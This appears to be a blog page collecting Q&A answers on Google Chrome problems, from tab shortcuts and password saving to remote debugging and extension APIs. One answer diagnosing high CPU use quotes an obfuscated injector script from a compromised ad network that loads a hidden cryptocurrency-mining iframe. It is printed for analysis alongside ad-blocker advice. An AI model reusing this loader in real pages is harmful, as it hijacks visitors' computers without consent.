Posts

Showing posts with the label Google Chrome

Chrome Keyboard Shortcut To "close Other Tabs"?

Image
Answer : I wrote this extension so that we can assign shortcuts for closing tabs to the right / left /other tabs /pin /unpin tab. Let me know if you can use it Update 2019/06/10: Still works with Chrome 75 No keyboard shortcut i know about and checking google forums neither does anyone else. There is an extension Close Inactive Tabs this is a button which closes all other tabs except the active one No more confusing menus The shortcut key to close all other tabs is Ctrl Shift Alt W if you install Amazing Tab Shortcuts, freely available in the Chrome Web Store. I use it frequently for scripts, which I suspect is your use.         

Chrome Policy List On Fedora

Answer : You can remove it by the line: sudo dnf remove fedora-chromium-config Yes, I just noticed this too (and I'm pretty miffed)! Delete /etc/opt/chrome/policies/managed/00_gssapi.json

Chrome Not Saving Passwords On Mac

Image
Answer : I had the same issue when my IT folks at work nuked my keychain. I uninstalled and installed chrome following the steps here. Go to ~/<username>/Library folder. Delete Google folder from ~/Library/Application Support . Delete below folders from ~/Library/Caches Delete ~/Library/Google folder Make sure you’ve shut down Chrome while performing this action and then either move the folder to the trash or rename it to something like backup. Chrome and then start Chrome up again. This will fresh start your Google Chrome. An important addition to this comprehensive answer. This will only work if you sign out of your Google account in Chrome. I tried this method several times and it wasn't until I signed out of Chrome, then deleted all the cached items and the Google folder in the Library folder that my passwords were restored. Also, another tip (as osx has been updated). To view the Library folder, when in the User folder cl...

Chrome://inspect Displaying Device Though Not Displaying Any Opened Tabs

Answer : Using chrome://inspect/#devices, if the device is detected, but tabs open in chrome on the device are not listed, look for the "activate USB debugging" option in the chrome settings-->developer options tab on the device. This is in addition to the USB debugging option you've already checked in the Android developer settings. Ok you must use chrome mobile in order to debug any webviews or browser tabs. No other browser works. I was unaware of this. //Edit As of Android version 4.4 or later this is no longer the case. Android 4.4 has support for debugging internal Webviews. Please see https://developer.chrome.com/devtools/docs/remote-debugging#debugging-webviews After connecting your device, make sure you open Chrome browser on the device and after that refresh the Chrome window on your PC. This will display the entry of the opened Chrome browser on the device. It will not launch if you don't first open Chrome browser on your phone

Can't See My Device Of Chrome://inspect/#devices

Answer : Try these steps: Download and install Android SDK Open SDK Manager.exe Select Android SDK Platform-tools and press Install packages... Open a command prompt and execute these commands: cd C:\Program Files(x86)\Android\android-sdk\platform-tools (or C:\Users\User\AppData\Local\Android\Sdk\platform-tools ) adb.exe devices You should receive a response like this: List of devices attached ABCDEFG123 device If your device is listed check if Chrome detect the device, otherwise try to execute this command: adb.exe kill-server adb.exe start-server adb.exe devices Check again if Chrome detect the device. If your device is not listed at all after executing adb devices command there is something wrong in your configuration (e.g. incorrect or missing drivers?) Hope this helps somebody else... This happened to me because I was trying to Chrome inspect a release build (Ionic; i.e. ionic build android --release ). If I build a debug app ( ionic build andr...

Chrome Not Asking To Remember Passwords

Answer : From Google's help: Make Chrome ask to save passwords again If you told Chrome to never offer to save your password for a specific site, but you change your mind, you can bring back the option. On your computer, open Chrome. At the top right, click More More and then Settings. At the bottom, click Show advanced settings. Under "Passwords and forms," click Manage passwords. A box will appear with a list of saved passwords. In the "Never saved" section, select the website and click Delete Delete. Click Done. If Chrome isn't asking to save any passwords anymore, you may have asked it to stop saving passwords. Bring back the prompt by turning "Offer to save your web passwords" back on. Chrome isn't saving passwords If you've told Chrome to save a password but it's not showing up, try deleting and resaving it. Open your list of saved passwords, and check for the website. ...

Can We Do Web Push Notifications In Chrome Without Using GCM/FCM?

Answer : No, it is not possible to use another push service. In Firefox, you can do it by modifying the dom.push.serverURL preference, but obviously you'd need privileged access to alter the value of the pref. There are third-party services that you can use to implement push notifications, but they will use the Web Push API under the hood (so Autopush on Firefox, GCM/FCM on Chrome). Yes. Using VAPID spec and service worker you can use web push notifications without FCM/GCM. For more information please look into below google docs. https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/how-push-works

Chrome's Fonts Look Off

Answer : On Windows 10 & Chrome version 52 I could not find any "DirectWrite" option in the experiments tab. However, I was able to resolve the issue by disabling a different experiment: Set "Accelerated 2D Canvas" to "Disabled" (In the browser's address bar, go to chrome://flags#disable-accelerated-2d-canvas , change the setting, relaunch the browser.) Since the fix for this issue has clearly changed, I would suggest in general turning off any hardware-accelerated text-rendering/2D-rendering features in the future if this fix stops working. On Google Chrome 55, this issue appears to have cropped up again. As anticipated, the fix was disabling hardware acceleration, it just changed locations. The new fix (for me) appears to be: Settings -> Show advanced settings... -> System UNCHECK "Use hardware acceleration when available" This worked for me: Open Google Chrome Open a new tab and enter the following in the ...

Browser Says "Camera Blocked To Protect Your Privacy"

Answer : type url chrome://flags/#unsafely-treat-insecure-origin-as-secure Enter url in the textarea Choose Enabled in the select option Click image link bellow to see detail example Chrome blocks vulnerable features—including camera, location, microphone, etc. on non-secure sites. As of July 2018, with the release of Chrome 68, Chrome starts to mark all HTTP sites as "not secure." You have three options to unblock these features for your site: Treat 192.168.10.79 as secure origins by setting chrome://flags/#unsafely-treat-insecure-origin-as-secure . Origins must have their protocol specified, e.g., http://192.168.10.79 . Port forwarding your site address to localhost . Chrome treats localhost as secure origins. Set up a self-signed certificate for the server.

Chrome Web App Manifest: Differences Between Display Types

Answer : When you use standalone it looks like native app. When you use fullscreen there is no status bar etc. Probably you want to use standalone , because fullscreen has very specific use-case (e.g. gaming).

Chrome Extension: Checking If Content Script Has Been Injected Or Not

Answer : is this safe enough to naively call chrome.tabs.executeScript every time the extension icon got clicked? In other words, is this idempotent? Yes, unless your content script modifies the page's DOM AND the extension is reloaded (either by reloading it via the settings page, via an update, etc.). In this scenario, your old content script will no longer run in the extension's context, so it cannot use extension APIs, nor communicate directly with your extension. is there a similar method for chrome.tabs.insertCSS ? No, there is no kind of inclusion guard for chrome.tabs.insertCSS . But inserting the same stylesheet again does not change the appearance of the page because all rules have the same CSS specificity, and the last stylesheet takes precedence in this case. But if the stylesheet is tightly coupled with your extension, then you can simply inject the script using executeScript, check whether it was injected for the first time, and if so, ins...

Chrome 80: Pause Script Execution (F8) Does Not Work When DevTools Is Not Focused

Image
Answer : Until it is fixed, you can use the following in your app: document.addEventListener('keydown', function (e) { if (e.keyCode == 119) { // F8 debugger; } }, { capture: true }); It's a bug in Chrome, I found the bugreport here: https://bugs.chromium.org/p/chromium/issues/detail?id=1049910&q=f8&can=2 WORKAROUND You can use option Break on -> subtree modifications It helps me to stop script execution instead of using f8 functionality. Steps: 1. Turn on 'Break on' for element you need to debug 2. Make some changes (hover or open drop down list as in my situation) 3. Browser will pause script execution

Chrome Uses 80% CPU When I Visit A Specific Website

Image
Answer : Yes, it’s a crypto currency miner. Hosted at www.datasecu.download , implemented in Web Assembly, communicating with its host via Websocket: It’s distributed using a compromised advertising network: Extract from https://s3.amazonaws.com/23ap.com/nodejs/sq9/sq_v2.js var _0x7bc7=["iframe","setAttribute","https://www.datasecu.download/lot.html","head","appendChild","1IABALrINkcv2VFJWo7ctqH0f3Y6aTf1","start","createElement"];!function(t,x){!function(x){for(;--x;)t.push(t.shift())}(++x)}(_0x7bc7,367);var _0x5028=function(t,x){var a=_0x7bc7[t-=0];return console.log(a,t),a};a=document[_0x5028("0x0")](_0x5028("0x1")),a[_0x5028("0x2")]("src",_0x5028("0x3")),a.style.width="0px",a.style.height="1px",document[_0x5028("0x4")][_0x5028("0x5")](a); tl;dr: Use an Adblocker already. For ublock you can load the noC...

Change Chrome Omnibox To Use Google's NCR Link

Answer : It's not working because you haven't edited [google:baseURL] . Use this string https://www.google.com/search?q=%s EDIT: See comments Edit Sept 2015: This doesn't seem to work any more. There's a better way. If you edit the search string in the Preferences, you won't get autofill results. If you do it this way, you will. Change Chrome's Search Engine to Google.com: http://googlesystem.blogspot.ca/2013/07/change-chromes-search-engine-to.html Type google.com/ncr in the address bar and search for something Close Chrome Launch Chrome again, open a new tab and search for something using Chrome's omnibox. You should see an infobar that asks you: "would you like to search with google.com instead of [your local Google domain]?"

Anaconda Selenium And Chrome

Answer : The easiest would be to install chrome-driver via anaconda (especially when running on a machine where you don't have permissions to install chrome-driver from .deb package) conda install -c conda-forge python-chromedriver-binary (updated based on comment from bgoodr (https://stackoverflow.com/users/257924/bgoodr) - please vote his comment below ). The simplest solution is to install chromedriver as suggested by @bgodr: conda install -c conda-forge python-chromedriver-binary Then at the top of your code, add the following import statement to update your PATH variable appropriately: import chromedriver_binary Download latest chromedriver Update Chrome itself In your code from selenium import webdriver driver_path = '/path to chromedriver.exe/' driver = webdriver.Chrome(driver_path) driver.get('somewebsite')

Chrome.webNavigation Undefined

Answer : On top of @rsanchez answer, if you call a chrome.webNavigation in the background script of your extension, but still have this error, you may also need to add the webNavigation permission in your manifest.json . "permissions": [ "webNavigation" ] Mozilla documentation | Chrome Documentation chrome.webNavigation , as most chrome.* APIs, can only be accessed from the background script of an extension, not from content scripts. Although your file is named background.js , your manifest shows that you are using it as a content script. It is right to use a content script in this case because you need to interact with the DOM. From the fragment of code you posted, it seems that you don't need to use the webNavigation API. You can simply set your content script in your manifest to run_at: document_end , and it will run as soon as the DOM is complete. Check http://developer.chrome.com/extensions/content_scripts.html

Chrome Plugin To Get Smartphone Window Size

Image
Answer : Edit: Device Mode in Chrome 38+ Chrome v38+ has window resizing and mobile emulation in a mode called Device Mode. You can activate it either with the icon in the Developer Tools window or with Ctrl + Shift + M ( Cmd + Shift + M on Mac). Windows As Pedro mentioned in his answer, Window Resizer will work for Chrome on Windows. https://chrome.google.com/webstore/detail/kkelicaakdanhinjdeammmilcgefonfh Mac OSX On Mac OSX, Chrome limits the width at a minimum of 320px. This is the lower end of the spectrum for smartphone window sizes, so this may be enough. If you still want to get around this limitation, open a popup window with the Open-as-Popup extension. This will allow you to resize down to 100px x 100px: https://chrome.google.com/webstore/detail/ncppfjladdkdaemaghochfikpmghbcpc Window Resizer will do the trick. You can even manually define a screen size. https://chrome.google.com/webstore/detail/kkelicaakdanhinjdeammmilcgefonfh

Chrome.tabs Returns Undefined In Content Script

Answer : As content script has its own limitations, chrome.tabs is only available in background scripts and popup scripts. If you wanna to use chrome.tabs then pass message from content_script to background script and play with chrome.tabs . Content scripts have only limited access to Chrome APIs. This access does not include the API you are trying to use (e.g. chrome.tabs ). If you need to use that API, you will have to do so in a background script 1 . As listed in Chrome's content scripts documentation, the APIs available to a content script are [I have placed deprecated methods in strikethrough format]: extension ( getURL , inIncognitoContext , lastError , onRequest , sendRequest ) i18n runtime ( connect , getManifest , getURL , id , onConnect , onMessage , sendMessage ) storage A couple of the listed APIs are deprecated and have been for some time. Those that are deprecated have moved to different locations (also listed above): extension.onRequest ➞ ...

400x Sorting Speedup By Switching A.localeCompare(b) To (ab?1:0))

Answer : A great performance improvement can be obtained by declaring the collator object beforehand and using it's compare method. EG: const collator = new Intl.Collator('en', { numeric: true, sensitivity: 'base' }); arrayOfObjects.sort((a, b) => { return collator.compare(a.name, b.name); }); Here's a benchmark script comparing the 3 methods: const arr = []; for (let i = 0; i < 2000; i++) { arr.push(`test-${Math.random()}`); } const arr1 = arr.slice(); const arr2 = arr.slice(); const arr3 = arr.slice(); console.time('#1 - localeCompare'); arr1.sort((a, b) => a.localeCompare( b, undefined, { numeric: true, sensitivity: 'base' } )); console.timeEnd('#1 - localeCompare'); console.time('#2 - collator'); const collator = new Intl.Collator('en', { numeric: true, sensitivity: 'base' }); arr2.sort((a, b) => collator.compare(a, b)); console.timeEnd('#2 - collator'); con...

Chrome Extension: Execute Background Page Only Once When Chrome Starts

Answer : What you are using is an Event Page(background_page.js). Event pages are unloaded when the browser detects that the page is not doing anything. So what's happening is that when you open a new tab, the Event page is being reloaded and starts executing from the top again. This way chrome is able to have your app use less memory and speed up the browser. If you want to fix the problem simply use persistent:true which will make sure the page "persists" indefinitely or until the user closes the browser. If you would really like to keep your app efficient with memory, you should take a look at the runtime.onSuspend method which gets called each time your Event page unloads. This way you can save stuff before the page gets unloaded so that you can resume where you left off. UPDATE: According to current documentation you simply have to delete the persistent key (no need to change it to "persistent": true ). This is an event page : { "name...